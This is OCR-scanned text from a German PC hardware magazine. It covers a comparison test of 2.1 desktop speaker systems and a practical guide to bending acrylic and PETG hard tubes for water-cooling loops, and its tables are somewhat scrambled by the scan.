ein halbwegs ähnliches Konzept 


SEASONIC QUALITÄT ZUM EINSTIEGSPREIS! 
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bedient. Creatives Soundbar аг- 
beitet mit — psychoakustischen 
Kniffen, um aus den beiden nach 
oben strahlenden 2,5-Zoll-Mittel- 
tieftönern (2 x 15 W RMS) sowie 
den an der Front angebrachten, 
seitlich abstrahlenden, invertier- 
ten 1,9-Zoll- Hochtónern 2 x 7,5 W 


850 W / 750 W / 620 W / 520 W 
Ic 


CE 


BRONZE 


I 
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RMS) und dem kràftigen 5,25-Zoll- 
Langhub-Tieftóner im Subwoofer 
(30 Watt RMS) ein homogenes 
Klangbild zu erzeugen. Dies gilt 
im Übrigen nicht nur nur für die 
reine Stereo-Wiedergabe, denn das 
Sound Blaster X Katana verfügt 
auch über eine 7.1-Surround-Simu- 
lation via Creatives hauseigener 
Virtualisierung SBX. Für diese so- 
wie weitere umfangreich nutzbare 
DSP-Programme und Mikrofonver- 
besserungen kommt Creatives be- 
kannter Vierkern-Audioprozessor 
SB-Axx1 zum Einsatz - der gleiche, 
der auch für die Klangmodulation 
bei den High-End-Soundkarten von 
Creative zuständig ist. Über diesen 
liefern gleich drei Verstärker den 
Sound mit maximal 24 Bit/96 KHz 
an die fünf Lautsprecher; jeweils 
einer für die beiden Mittel- und 
Hochtóner sowie den Subwoofer. 
Obendrauf gibt es die Aurora-Be- 


leuchtung, deren 49 an der Unter- 
seite der Soundbar angebrachten, 
programmierbaren RGB-LEDs für 
Stimmung beim Spielen und Musik- 
hóren sorgt. Bei den an der Rück- 
seite des Geráts untergebrachten 
Anschlüssen gibt sich das Katana 
großzügig. Neben der regulären 
(Micro-J)USB-Verbindung für den 
PC gibt es einen weiteren USB-An- 
schluss für ein Flash-Drive, dazu ei- 
nen optischen Toslink- sowie analo- 
gen Klinken-Eingang. Des Weiteren 
kann über die Creative-Soundbar 
mittels Mikrofon- und Kopfhörer- 
buchse ein Headset betrieben wer- 
den. Darüber hinaus verfügt das 
Katana über eine Bluetooth-4.2- 
Anbindung, welche die kabellose 
Audio-Wiedergabe erlaubt. Auch 
Dolby-Medien können wiederge- 
geben werden, beispielsweise Blu- 
ray-Disks oder der Audio-Stream 
einer Konsole. Doch Achtung, eine 


2.1-PC-SYSTEME 


Auszug aus Testtabelle 


Produkt 


Hersteller 


Sound Blaster X Katana 
Creative (http://de.creative.com) 


Echtzeit-Kodierung mittels Dolby 
Digital Live unterstützt das Kata- 
na nicht! PC-Spiele können daher 
nicht direkt Dolby Digital nutzen, 
dazu wäre ein zusätzlicher Enco- 
der notwendig. Leider fehlt dem 
Katana ein HDMI-Anschluss. Die 
wichtigsten Funktionen wie Laut- 
stärke, Audioquelle können direkt 
am Gerät mittels fünf Knöpfen 
bedient werden, eine kleine Infra- 
rot-Fernbedienung mit einigen 
zusätzlichen Elementen gibt es 
obendrauf. Für alle weiteren - und 
es sind viele - Einstellungsmög- 
lichkeiten kommt die Creative- 
Software Sound Blaster Connect 
zum Einsatz. Hier können Profile 
für den DSP gewählt werden, eins 
der vier vorinstallierten Profile er- 
setzt und auf die SBX-Taste gelegt 
oder eigene erstellt werden. Dazu 
steht ein funktionaler Equalizer 
zur Verfügung, außerdem gibt es 


Sound Боан X Katana. 


Hardware 


Mediadeck MD16 
Teufel (https://www. Teufel dei 


Preis/Preis-Leistungs-Verhältnis 


ca. € 300,-/befriedigend 


ca. € 400,-/ausreichend 


PCGH-Preisvergleich www.pcgh.de/preis/1563600 


www.pcgh.de/preis/1503991 


Art 2.1-System 


2.1-Systei 


m 


Abmessungen Subwoofer (HxBxT) 


33,3 x 13 x 30 cm 


integriert 


Abmessungen Satellit (HxBxT) 


Soundbar: 6x60x7,9 cm 


Gesamtsystem: 9,3x42x33 cm 


Chassisbestückung Subwoofer 5,25 Zoll 


4 Zoll 


Chassisbestückung Satellit 
Ausstattung (20 %) - 


2,5"'-Mitteltóner, 1,9''-Tweeter 


3"-Mittel 


töner, 0,8"-Tweeter 


Fernbedienung 


Anschlüsse Bluetooth, Toslink-Eingang, USB (PO), USB (Flashdrive), Aux- und 
Mikrofon-In, Kopfhórer-Ausgang Aux- und Mikrofon-In 
Bedien-Elemente Netzschalter, (Auto-)Stand-by, Lautstärkereglung, SBX-Profile, (Auto-)Stand-by, Lautstárkereglung 
Input-Wahl 
Zubehör Infrarot-Fernbedienung, Kabel- und Adapter; USB-Soundkarte mit |Kabel- und Adapter; USB-Soundkarte 
vielen Features 
Eigenschaften (20 %) 1,70 1,83 
Auffälligkeiten Aurora-RGB-Beleuchtung; sehr sauber verarbeitet Hochwertig anmutende Materialien und Verarbeitung 
Ergonomie Generell angenehme Bedienung; einfach nutzbare Software; Sehr einfache, schlichte Bedienung 


Verarbeitung Keine Mängel Keine Mängel 

Installation Problemlos aufzustellen, benötigt aber Breite; sehr einfache Problemlos aufzustellen, solange Displayständer Höhe kompen- 
Verkabelung siert; simple Verkabelung 

Leistung (60 %) 1,95 12,04 

Spiele Guter Spielesound mit ausgesprochen vielen Einstellungsmóglich- |Kräftiger und voller Klang, satter Bass, ordentliche Räumlichkeit 
keiten; kräftiger Bass, gute Ortung und Räumlichkeit und Ortung 

Musik Gute Eignung, jedoch nicht vergleichbar mit Stereo-Boxen; etwas | Hohe Musiktauglichkeit, allerdings begrenzte Räumlichkeit und 
synthetisch wirkender Klang etwas starker Bassfokus 

Filme Kinoflair dank 3D-Virtualisierung und Dolby-Unterstützung (nur |Sehr gute Stimmverständlichkeit und brachialer, voller Sound mit 
Decoding!) dickem Bassfundament 

Klang Klingt niemals wirklich natürlich, generell gefällig. Bei neutralen | Abgesehen vom sehr kräftigen Tiefton angenehm ausgewogener 
Voreinstellungen kühler, scharfer Klang; kräftiger, knackiger Bass ` | Klang ohne größere Schwächen 

Pegel Pegelfest bis maximale Lautstärke, gute Leistung Bass neigt bei sehr hohem Pegel und tieftonstarkem Material zum 


Komprimieren 


Stereo-Separation/Surround 


Ordentlicher Stereo-Sound und gute Ortung, interessanter virtu- 


FAZIT 


© Guter Klang ... 


©... wirkt aber synthetisch 


Wertung: 1,82 
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Räumlichkeit und Ortung durch Bauweise etwas eingeschränkt 


© Kompaktes und schickes Design 
© Guter, satter Klang 
© Mäßige Ráumlichkeit 


Wertung: 2,12 


die teils von Creative-Soundkarten 
bekannten Features Crystallizer, 
Smart Volume und Dialog+. Der 
virtuelle Surround wird mit einem 
zusätzlichen „Immersions“-Regler 
gesteuert. Eine Bass- sowie Höhen- 
regelung sowie eine Rauschunter- 
drückung für das angeschlossene 
Mikrofon gibt es obendrauf. Diese 
Klangoptionen haben einen deut- 
lichen Einfluss auf den Sound und 
helfen dabei, die Abstimmung zu 
personalisieren oder für verschie- 
dene Einsatzmöglichkeiten zu de- 
finieren. All diese Abstimmungs- 
Features inklusive des virtuellen 
Surround-Sounds funktionieren 
auch bei der Ausgabe über ein 
Headset. Prinzipiell ersetzt das Ka- 
tana also außerdem eine Soundkar- 
te mit relativ vielen klangrelevan- 
ten Einstellungsmöglichkeiten. Des 
Weiteren steht ein recht umfangrei- 
ches Menü für die Aurora-RGB-Be- 
leuchtung zur Verfügung, die sich 
auf Wunsch auch deaktivieren lässt. 


Klanglich ist das Katana durch- 
aus sehr gefällig. Trotz kompakter 
Ausmaße der Soundbar von nur 6 
x 60 x 7,9 cm, die annähernd per- 
fekt unter einem handelsüblichen 
PC-Display Platz finden, liefert das 
Creative-System ein volles und kräf- 
tiges Klangbild. Der Subwoofer 
steigt erst relativ spät bei 150 Hz 
unterstützend ein und gibt sich bei 
neutralem Pegel angenehm zurück- 
haltend, ist jedoch alles andere als 
schwachbrünstig und übertrumpft 
in dieser Disziplin jedes andere 
Gerät im Testfeld. Tatsächlich kann 
das Katana ziemlich laut aufspie- 
len, erst bei hohen Lautstärken und 
aufgedrehtem Basspegel geht dem 
75-Watt-System merklich die Puste 
aus. Dabei ist der Klang nicht direkt 
mit Stereo-Boxen zu vergleichen, 
dazu wirkt der Sound ein wenig 
zu scharf und gekünstelt. Dank der 
vielen Abstimmungsmöglichkeiten 
ist aber außer für Hi-Fi-Puristen für 
praktisch jeden Geschmack ein pas- 
sendes Profil vorhanden, Individu- 
alisten legen selbst Hand an. Selbst 
der virtuelle Surround-Sound konn- 
te uns während des Tests mit einer 
recht erstaunlichen Räumlichkeit 
überzeugen, auch Klänge von hin- 
ten ließen sich relativ gut ausma- 
chen. Die Vielzahl an Audio-Tricks, 
die Creative mit dem Katana um- 
setzt (siehe Explosions-Zeichnung), 
tragen offenbar Früchte. Wenn Sie 
keine allzu hohe Klangtreue erwar- 
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ten und stattdessen auf die vielen 
Features, die kompakten Ausmaße 
und das schicke und durchaus edle 
Äußere der Soundbar Wert legen, 
ist der Preis von rund 300 Euro fair 
- eine ähnlich funktionsschwere 
und klangstarke Soundbar samt 
DSP-Programmen etwa für den 
Fernseher ist zu dem Preis kaum zu 
bekommen. Für das umfangreiche 
Feature-Programm und das ausge- 
klügelte Design bekommt das Ka- 
tana von uns einen Technik-Award. 


Teufel Mediadeck MD16: Ausgefalle- 
nes 2.1-System mit Lifestyle-Bonus. 
Dieses 2.1-System ist gewiss nicht 
für jedermann, es bedient eine eher 
kleine Nische. Es ist eine Mischung 
aus PC-System und Lifestyle-Pro- 
dukt für den etwas gediegeneren 
Geschmack. Ein dickes, sehr robust 
wirkendes, eloxiertes Vollkörper- 
Aluminum-Gehäuse formt das 
trapezförmige Äußere des Media- 


decks, die Front ziert ein schlichtes 
Metallgitter samt nicht zu dick auf- 
tragendem Teufel-Logo. Das MD16 
lässt sich dank der kompakten 
Ausmaße von nur 9,3 x 42 x 33 cm 
auch auf kleinen Schreibtischen gut 
aufstellen. Aufgrund des Aufbaus 
entfällt außerdem ein Großteil des 
üblichen Kabelsalats. Im Inneren 
verbergen sich zwei 3-Zoll-Mittel- 
tönersowie zwei 
ter und der 4-Zoll-Subwoofer. Die 
Bassreflexöffnungen befinden sich 
auf der Rückseite des MD16. Dort 
befinden sich zudem ein Klinken- 
ausgang sowie Mikrofoneingang 
und die drei USB-Anschlüsse des in- 
tegrierten HUBs. Ein weiterer USB- 
Anschluss dient zum Laden mobiler 
Geräte. Ein weiterer Kopfhöreraus- 
gang ist an der Front des Media- 
decks angebracht, ebenso befindet 
sich hier der Lautstärkeregler, mit 
dem das Gerät außerdem ein- und 
ausgeschaltet werden kann. 


weitere Twee- 


PREIS-LEISTUNGS-TIPP 
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Auszug aus Testtabelle 


Produkt 


Hersteller 


C2DX 
Edifier (http://www.edifier.de/) 


Um die Klangwandlung kümmert 
sich ein DAC von C-Media, ein 
Class-D-Verstärker mit drei Kanä- 
len für die fünf Lautsprecher sorgt 
für den nótigen Antrieb. Leider 
liefert Teufel nur Angaben für die 
Maximal- sowie Sinus-, nicht aber 
für die RMS-Leistung. Die maxi- 
male Leistungsaufnahme von 50 
Watt erscheint uns jedoch als guter 
Anhaltspunkt für die Gesamtleis- 
tung. Der Klang des Mediadecks 
ist durchaus beeindruckend, wenn 
man die geringen Ausmaße in Be- 
tracht zieht: Der Bass steht klar im 
Vordergrund und fällt sehr kräftig 
aus, die Satelliten-Lautsprecher 
können allerdings gut anknüpfen 
und erfreuen das Ohr mit einem 
differenzierten, vollen, detaillier- 
ten Sound. Trotz des druckvollen 
Sounds gehen Feinheiten im Klang- 
bild nicht unter, Stimmen besitzen 
einen überzeugenden Körper und 
klingen natürlich - auch wenn tiefe 


Männerstimmen ein wenig zu sehr 
grollen. Die Lautstärke ist vollkom- 
men ausreichend, allerdings neigt 
der Bass aufgrund des nicht direkt 
regelbaren, betonten Tieftons bei 
sehr hohen Pegeln zum Kompri- 
mieren. Das MD16 kostet aktuell 
400 Euro und ist somit recht teu- 
er, allerdings machen Materialien, 
Sound und Aufmachung des Media- 
decks einiges wett. (pr) 


Fazit Нагйшаге 


Schreibtischkompatibel 

Die in dieser Marktübersicht getes- 
teten Geräte machen auf verschiedene 
Art und Weise eine gute Figur. Tech- 
nik-Freaks können sich für das Crea- 
tive Katana begeistern, das Teufel Me- 
diadeck ist eher etwas für gediegene 
Life-Style-Fans. Die hier getesteten 
„klassischen“ 2.1-Systeme sind für 
Einsteiger besonders interessant. 


—s 
SPAR-TIPP 


Нагйшаге 


Sound Blaster X Kratos S3 
Creative (http://de.creative.com) 


Z333 
Logitech (https://www.logitech.com/de-de) 


Нагйшаге 


fonanschluss 


Preis/Preis-Leistungs-Verhältnis ca. € 100,-/gut ca. € 80,-/gut ca. € 45,-/sehr gut 
www.pcgh.de/preis/876748 www.pcgh.de/preis/1523593 www.pcgh.de/preis/1298686 
Art 2.1-System 2.1-System 2.1-System 

Abmessungen Subwoofer 243 x 23,2 x 28 cm 22,7 x 17 x 22,7 cm 23 x 23,2 x 15,7 cm 
Abmessungen Satellit 195 x 9 x 14,8 cm 16,5 x 9,5 x 10,2 cm 192 x 10,8 x 15,7 cm 
Chassisbestückung Subwoofer 6,5 Zoll 5,25 Zoll 5,25 Zoll 

Chassisbestückung Satellit k.A. (Mitteltóner, Tweeter) 2,75-Zoll (Breitbánder) 3"-Mitteltóner, ~1,2''-Tweeter 
Ausstattung (20 %) 2,42 3,50 3,50 

Anschlüsse Cinch (PC), 1x Toslink und 1 x Aux-In; Kopfhörer- und Mikro- — |Cinch (PC), Kopfhöreranschluss Klinke (PC), Kopfhöreranschluss 


Bedien-Elemente 


Netzschalter, Stand-by, Lautstärke- Bass und Treble-Regler; 
Input-Wahl 


Stand-by, Lautstärke- und Bassreglung 


Stand-by, Lautstárke- und Bassreglung 


Zubehör Kabel- und Adapter; Infrarot-Fernbedienung Benötigte Kabel Benötigte Kabel 

Eigenschaften (20 %) 1,94 2,19 2,25 

Auffälligkeiten Externer Verstärker, ordentliche Materialanmutung rummen im Stand-by-Modus Leichtes Brummen im Betrieb 

Ergonomie Praxisnahe und einfache Bedienung; Fernbedienung Generell simple Bedienung; Bassregler am Subwoofer Einfache Bedienung; Bassregler am Subwoofer 

Verarbeitung Keine Mängel Keine Mängel Keine Mängel 

Installation Recht einfach aufzustellen, wenig komplizierte Verkabelung dank | Recht einfach aufzustellen, einfache Verkabelung Einfach aufzustellen, etwas umständliche Verkabelung (wegen 
externem Verstärker gebundener Kabelfernbedienung) 

Leistung (60 %) 2,29 2,34 2,75 

Spiele Gute Ortung dank hoher Räumlichkeit und relativ hoher Etwas eingeschränkte Räumlichkeit, aber gute Auflösung und Ordentliche Räumlichkeit, relativ knackige Bässe; Detailschwä- 
Detailtreue; etwas zu fade Höhen, kräftiger, aber etwas schwam- | Detailabbildung; Mitten- und Bassschwäche chen 
miger Bass 

Musik Etwas unsauber, aber dank ordentlicher Detailabbildung und rinzipiell gute Musikeignung aber aufgrund von schwächelnden | Brauchbar für Populärmusik; Schwächen bei Detailabbildung und 
hoher Räumlichkeit gute Eignung; Höhenschwäche, schwam- unteren Frequenzen etwas kühl; flottes Ansprechverhalten Ansprechverhalten 
miger Bass 

Filme Gute Stimmtreue und voller, luftiger Sound samt kräftigem Etwas harscher, unterkühlter Klang, aber gute Stimmtreue und — | Stimmen etwas verfälscht, neigt zum Schlucken von Hintergrund- 
Tiefton Detailabbildung geräuschen; recht luftiger Klang 

Klang Angenehm warmer und satter Klang, allerdings nicht übermäßig | Erfreulich hohe Auflösung und Detailabbildung, aber hóhenbe- |Relativ ausgewogener Sound, aber deutliche Detailschwächen 
detailliert; recht starkes Höhen-Rolloff tont und eher tieftonschwach; knackiger Bass und Probleme bei raschen Tonfolgen 

Pegel Pegelfest bis maximale Lautstärke, reichlich Leistung egelfest bis maximale Lautstärke, hohe Leistung Pegelfest bis maximale Lautstärke, gute Leistung 


Stereo-Separation/Surround 


Gute Räumlichkeit und Stereo-Trennung 


FAZIT 


© Preis-Leistung 
© Angenehm warmer Klang ... 
©... mit leichten Schwächen 


Wertung: 2,25 
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Etwas eingeschränkte Räumlichkeit 


© Klarer Klang 
© Flottes Ansprechverhalten 
© Tieftonschwäche 


Wertung: 2,54 


Ordentliche Räumlichkeit 


© Sehr günstig 
© Ordentlicher Sound ... 
©... mit einigen Schwächen 


Wertung: 2,80 
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Wakü-Hardtubes 


Kunststoffrohr statt Schlauch — ein optischer Hingucker. Wir zeigen, wie die aufwendige Verrohrung 


eines Wakü-Kreislaufs gelingt. 


er Einsatz von Rohren anstatt 

flexiblen Schlauches gilt als 
Trend in der Wasserkühlungs- 
szene. Insbesondere Casemodder 
schátzen die Optik mit absolut 
geradlinigen und glasklaren Ver- 
bindungen; zusätzlich können sie 
leichtgewichtige Komponenten 
wie etwa einen Durchflussmesser 
fliegend an den formbeständigen 
Rohren montieren. Außerdem bie- 
ten die Rohre auch funktionale 
Vorteile, zum Beispiel eine deutlich 
bessere chemische Beständigkeit 
gegenüber dem Kühlmedium. Aus- 
waschbare Weichmacher, wie sie in 
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PVC-Schläuchen zum Alltag gehö- 
ren, müssen Sie hier nicht fürchten. 


Der Einstieg 

Unser Mustersystem besteht aus 
einem Kreislauf mit Radiator, CPU- 
Kühler und Grafikkarte. Die Pumpe 
mit aufgestecktem Ausgleichsbehäl- 
ter will ebenso wie ein Durchfluss- 
sensor in den Kreislauf integriert 
werden. Insgesamt ergibt sich so 
knapp ein Meter Strecke, der mit 
Rohren geschlossen werden muss. 
Im Vorfeld sollte man die Anord- 
nung der Komponenten so wählen, 
dass möglichst wenig Winkel ent- 


stehen und die Anschlussgewinde 
bestmöglich fluchten. Wir können 
lediglich Pumpe und Durchfluss- 
messer frei positionieren, die an- 
deren Positionen sind fest vorgege- 
ben. Unser Kreislauf enthält daher 
allerlei Tücken: von einfachen 
90-Grad-Biegungen über Lateralver- 
satz bis hin zu zweifach rechtwink- 
lig gebogenen Abschnitten. Über 
gewinkelte Anschlüsse müssen wir 
uns im Vorfeld keine Gedanken ma- 
chen. Einfache gerade Anschlüsse 
reichen aus, denn 90-Grad-Bögen 
lassen sich durch Biegen problem- 
los herstellen. Jedoch eine War- 


nung vorab: Fehlbiegungen oder 
Fehler beim Ablängen gehören zur 
Tagesordnung. Einsteiger bestellen 
sich daher besser das Zwei- bis Drei- 
fache der benötigten Rohrlänge. 


Das Werkzeug 

Mit einem einfachen Schlauch- 
schneider als Zubehör ist es nicht 
getan. Stattdessen lassen sich pro- 
blemlos weitere 200 Euro (und 
mehr!) für umfangreiche Biege- 
werkzeug-Sets ausgeben. Wir raten 
aber eher dazu, kreativ mit Holz zu 
arbeiten und lediglich eine einfa- 
che Biegelehre für saubere Bögen 
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anzuschaffen - die Bilderserie zu 
unserem Musterkreislauf gibt In- 
spiration. Das übrige Werkzeug wie 
Heißluftpistole, Silikonkern, Hand- 
schuhe (Achtung: Verbrennungs- 
gefahr am heißen Rohr und der 
Heißluftpistole!), Rohrentgrater, 
Schleifpapier und Handsäge sind 
Pflicht und schlagen im günstigen 
Fall mit rund 70 Euro zu Buche. 
Fündig werden Sie bei gängigen 
Onlineshops und teilweise auch im 
Baumarkt. 


Rohrtypen ... 

Metall-, Kohlefaser- oder gar Echt- 
glasrohre seien hier der Vollstän- 
digkeit halber erwähnt und in 
ihrer Handhabung allenfalls sehr 
erfahrenen Anwendern angeraten. 
Wir widmen uns dagegen einfache- 
ren Systemen von Alphacool und 
Monsoon. Alphacools HardTube 
13/10mm Plexi (PMMA) liegt bei 
rund 7 Euro pro Meter und damit 
im Bereich hochpreisiger PVC- 
Schlàuche. Die passenden Eiszap- 
fen-Anschlüsse in edler, aber we- 
nig hilfreicher Retail-Verpackung 
kosten 7 Euro das Stück. Monsoon 
bietet das Acrylrohr 13/10mm zu 
vergleichbaren Preisen um 6 Euro 
an. Darüber hinaus gibt es hier eine 
umfangreiche Farbvielfalt mit op- 
tionalem UV-Effekt. Die passenden 
Anschlüsse liegen bei knapp acht 
Euro je Exemplar und erfordern 
zur Montage einen durch UV-Licht 
hártenden Acrylglas-Klebstoff (5 
Euro). Ein Tipp für Sparfüchse: Ein 
Blick in bekannte Auktionshäu- 
ser lohnt sich. Hier lässt sich der 
Preis für den Meter Acrylglas-Rohr 
oftmals halbieren - Dichtigkeit 
aufgrund anderer Maßtoleranzen 
sollten Sie bei Drittanbietern aber 
sorgfältig prüfen. 


Beiden Rohren gemein ist die che- 
mische Basis Polymethylmetha- 
crylat (kurz PMMA), das besser un- 
ter den Handelsnamen Acryl- und 
Plexiglas bekannt ist. Mit PETG 
bietet Alphacool eine weitere Vari- 
ante seines Eisrohres an. Grundlage 
bildet hier Polyethylenterephtha- 
lat (kurz: PET), welches man aus 
Kunststoffflaschen kennt. Dieses 
wird chemisch mit Glykol modifi- 
ziert, um bessere Verarbeitungs- 
eigenschaften zu erzielen. Hierzu 
zählen flüssigeres Verhalten im er- 
weichten Zustand, höhere Transpa- 
renz und nicht zuletzt eine Reduk- 
tion der Schmelztemperatur. 
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... und Eigenschaften 

Die (deutsche) Produktbeschrei- 
bung des Monsoon-Rohres sugge- 
riert zwar zum Alphacool-Produkt 
vergleichbare Abmessungen, un- 
sere Messung offenbart für die 
Monsoon-Rohre aber ein zólliges 
Map Die Durchmesser der Rohre 
unterscheiden sich daher (Mon- 
soon Acrylrohr: 12,5/9,5 mm res- 
pektive 1/2 und 3/8 Zoll, Alphacool 
Eisrohr PETG/PMMA:  13,0/10,1 
Millimeter). Dieser Umstand ist bei 
der Anschlusswahl zu berücksichti- 
gen, wie unser Extrakasten auf der 
Folgeseite ausführt. 


In der Handhabung unterscheiden 
sich die verwendeten Materialien 
vor allem im Erweichungsverhalten 
- aber in unerwarteter Richtung. 
Zwar weisen Produktbeschreibung 
und Datenblätter niedrigere Erwei- 
chungstemperaturen für PETG- ge- 
genüber PMMA-Kunststoff aus, un- 
sere Versuche kónnen dies jedoch 
nicht bestátigen. So dauert es sub- 
jektiv sogar lànger, bis die Eisrohre 
in der PETG-Variante formbar sind. 
Messungen mit einem Thermoele- 
mentzwischen Rohr und Biegekern 
bestátigen diese Vermutung: Beide 
PMMA-Varianten benötigen um die 
100 Grad Celsius Temperatur zur 
Erweichung, beim PETG-Rohr be- 
darf es rund 10 Grad Celsius mehr. 
Dadurch wird die Reserve bis zum 
Blasenwerfen im Rohr aufgrund 
Überhitzens kleiner, weshalb wir 
zum Einsatz von Plexiglas-Rohren 
(PMMA) raten. 


Erfolgreich biegen 

Egal ob PMMA oder PETG: Verform- 
bar sind die thermoplastischen 
Kunststoffe nur in erwärmtem Zu- 
stand, dann aber frei in alle Rich- 
tungen - Verformungen des Rohr- 
querschnitts eingeschlossen. Um 
ein Kollabieren des Rohres beim 
Biegen zu verhindern, muss daher 
mit einem Biegekern gearbeitet 
werden. Passende Silikoneinleger 
biegen sich ohne große Gegenkraft 
mit und halten den offenen Rohr- 
querschnitt konstant. Wichtig ist 
auch hier die Wahl des korrekten 
(Maß-)Systems - für Monsoon (In- 
nendurchmesser 8,5 Millimeter) 
und Alphacool (9,0 Millimeter) gibt 
es unterschiedliche Biegekerne. 


Freihandbiegen ist für grófsere 
Winkel nicht zielführend und führt 
zu Faltenwurf oder ungleichmäßi- 


Tygon 2375 nachgetestet 


Weichmacherfrei mit formidablen Eigenschaften - auf expliziten Leser- 
wunsch testen wir einen interessanten PVC-Schlauch nach. 


Saint-Gobain stellt uns den Tygon 2375 in der Dimension 16/10 Millimeter zur 
Verfügung. Die Beschaffung ist zugleich ein wunder Punkt — Anfragen zur Aufnah- 
me ins Produktprogramm verliefen bei gángigen Onlineshops wegen sehr hoher 
Kosten bislang leider erfolglos. Nicht ohne Grund, denn Großhändler rufen für die 
15-Meter-Rolle rund 15 Euro je Meter auf. 


Von den Kennwerten her erscheint der Schlauch dem Testfeld aus Ausgabe 02/17 
jedoch gewachsen. Obwohl er gänzlich frei von Weichmachern ist, bietet er gute 
Biegeeigenschaften und solide Abzugskräfte an (Anschraub-)Tüllen. Auf eine 
Dämpfungsmessung haben wir aus Zeitgründen verzichtet — aufgrund seiner 


hohen Steifigkeit ist der Schlauch hier aber bestenfalls im Mittelfeld einzuordnen. 


Wer seine Wasserkühlung lange ohne Wartung betreiben will, ohne dabei auf 


schwarze Elastomer-Schläuche zurückzugreifen, findet hier eine interessante, aber 


kostspielige Alternative. 


Produkt 2375 (16/10mm) Clear 


Hersteller 


Link zum PCGH-Preisvergleich 


Preis (je Meter)/Preis-Leistung 


„ Tygon” (Saint-Gobain) 


Kein Eintrag vorhanden 


Ca. € 15,-/ausreichend 


Werkstoff 


Thermoplast auf Polyvinylchlorid-Basis 


Farbton 


Transparent, ohne Farbstich 


Transparenz 


Leicht diffus 


Max. Betriebstemperatur/-druck* 


Bis 54 °C/1,7 bar (bei 23 °C) 


Anforderungen an Kühlmedium 


Unempfindlich gegenüber Säuren, Basen, Salzen, Ketonen, 
Alkoholen 


Subjektive Drucksteifigkeit** 


Hart 


Bemerkungen 


Gelbgrüne Beschriftung, mit Fingernagel entfernbar; 
weichmacherfrei 


Gemessene Wandstärke 


3,09 mm 


Montage/Demontage Anschraubtülle 


Einfach/einfach 


Abzugskraft Anschraubtülle*** 


>100/>100 N 


Montage/Demontage Tülle 


Mittel/mittel 


Abzugskraft Tülle**** 


65/65 N 


Kleinster Biegedurchmesser 


7,0 cm 


Dämpfung 


FAZIT 


Nicht gemessen 

[9 Medienbeständigkeit 
© Solide Leistung 

© Sehr teuer 


Wertung: ж ж kk j 


Alphacools Biegewerkzeug bietet Führung für Rohrdurchmesser von 12 bis 14 mm 


sowie 16 mm. Achten Sie darauf, di 


e richtige Bohrung zu wählen. 
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* Hersteller-/Shopangaben ** Durch vergleichendes radiales Zusammendrücken *** 16/10: AquaTuning gerändelt / EK Water Blocks EK-ACF Fitting **** 16/10: Alphacool HF FatBoy 10 mm/XSPC 10 mm 


o INFRASTRUKTUR | Hardtubes 
gen Radien. Wir biegen daher alle 


- Bögen mittels Alphacool-Biegeleh- 
| š re auf einer festen Unterlage. Ein 
Blatt Papier mit vorgezeichneten 
Winkeln oder einem Versatz bie- 
tet dabei Orientierungshilfe (sie- 
he hierzu auch die Impressionen 
auf den letzten beiden Seiten). Bei 
Doppelbiegungen (2 x 90 Grad) 
bietet sich ein individueller Aufbau 
aus Holzteilen auf einer Grundplat- 
te an. Dies spart nicht nur Geld, 
sondern ist auch hochgradig fle- 
xibel und erzeugt mit etwas hand- 
werklichem Geschick vergleichba- 
re Ergebnisse zu teuren Biegesets. 


Richtiges Ablängen 
Gegenüber einfacher Für die Biegevorgänge nutzen wir 
Verschlauchung des Kreis- deutlich zu lange Rohrabschnitte, 
laufs wird bei Hardtubes um das Handling zu verbessern. 
weit mehr und deutlich Nach dem Abkühlen der Rohre 
kostspieligeres Werkzeug folgt daher das Ablängen. Der Ein- 
benötigt. satz einer Sägelehre, um saubere 


rechtwinklige Schnitte zu erhalten, 


Funktionsprinzip Hardtube-Anschluss 


Die beiden getesteten Produkte von Alphacool und Monsoon nutzen unterschied- 
liche Fixierkonzepte - eine Detailanalyse. 


Beim herkömmlichen Schlauchanschluss (1) mit Überwurfmutter wird der Schlauch zwischen 
Ringzacken geklemmt, wobei zugleich gedichtet und fixiert wird. Alphacools Eiszapfen-Anschluss 
(2) greift das Konzept der Überwurfmutter auf, muss es jedoch variieren, da sich Hardtubes 
nicht verformen lassen. Ein O-Ring in der Anschlussbasis übernimmt die dichtende Funktion. Ein 
weiterer O-Ring und ein Kunststoffring in der Überwurfmutter fixieren das Rohr. 


Beim Monsoon-Anschluss (3) wird von der Überwurfmutter ein mittels Acrylglas-Klebstoff fi- 
xierter Kunststoffkragen am Rohrende gegen eine Flachdichtung gedrückt. Ein Auszug des Rohrs 
war in unseren Tests damit gar nicht möglich. Die Montage und Änderungen sind jedoch deutlich 
umständlicher (und mit Ersatzteilbeschaffung verbunden). Vergessen Sie vor dem Verkleben des 
Kragens nie, die Überwurfmutter aufzusetzen. 


Fazit: Anschlüsse und Rohre sind nach Möglichkeit von einem Hersteller zu wählen. Nur so ist 
garantiert, dass diese in Durchmesser und Funktion aufeinander abgestimmt sind — als Negativ- 


beispiel dient das zöllige Monsoon-Rohr am metrischen Alphacool-Anschluss. Überwurfmuttern 
sollten generell gut angezogen werden. Insbesondere bei den Alphacool Eiszapfen hat dies Ein- 
fluss auf die Auszugskräfte: Schwach angezogen, lagen die Werte in den Tests unter 20 Newton. 
Sicherheitsfans greifen daher zu den verklebten Monsoon-Anschlüssen. 


Hardtubes An Alphacool-Fitting An Monsoon-Fitting 
Alphacool PMMA 13/10 Inkompatibel 
Alphacool PETG 13/10 Inkompatibel 
Monsoon PMMA 13/10 

Herkömmliche Schläuche An Tülle Typ 1/2 An Schraubanschluss Typ 1/2 
PrimoFlex ALRT 13/10 

XSPC HighFlex 13/10 

Tygon R6012 Norprene 13/10 >50/>50 N* 


Bemerkungen: Anschraubanschluss Typ 1/2: Alphacool Eiszapfen/Monsoon; Tülle Typ 1/2: Alpha- 
cool HF FatBoy 10 mm/XSPC 10 mm *Keine Bewertung: Schlauch reißt aufgrund der Kerbwirkung 
unserer Lasteinleitung (Metallstift durch Schlauch) an Einspannung aus. 
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erspart làstiges Begradigen mittels 
Feile. Wir längen die mittels Mess- 
schieber oder Lineal am Rechner 
bestimmten Abschnitte im ersten 
Schritt konsequent zwei Millimeter 
zu lang ab und tasten uns dann ite- 
rativ an das Sollmaß - so wird ein 
Rohr nie zu kurz und sitzt perfekt. 
Ein wichtiger Schritt, da das Rohr zu- 
mindest bei den Eiszapfen-Anschlüs- 
sen nicht unter Zug stehen sollte. 


Für die Bestückung unseres Sys- 
tems und damit verbunden den 
erstmaligen Kontakt mit Hardtubes 
benötigten wir rund 15 Stunden. 
Zum Vergleich: Mit Schläuchen 
dauert der Wasserkühlungsaufbau 
keine zwei Stunden. Einen Groß- 
teil der zusätzlichen Zeit bedingen 
erste Biegeversuche und die Suche 
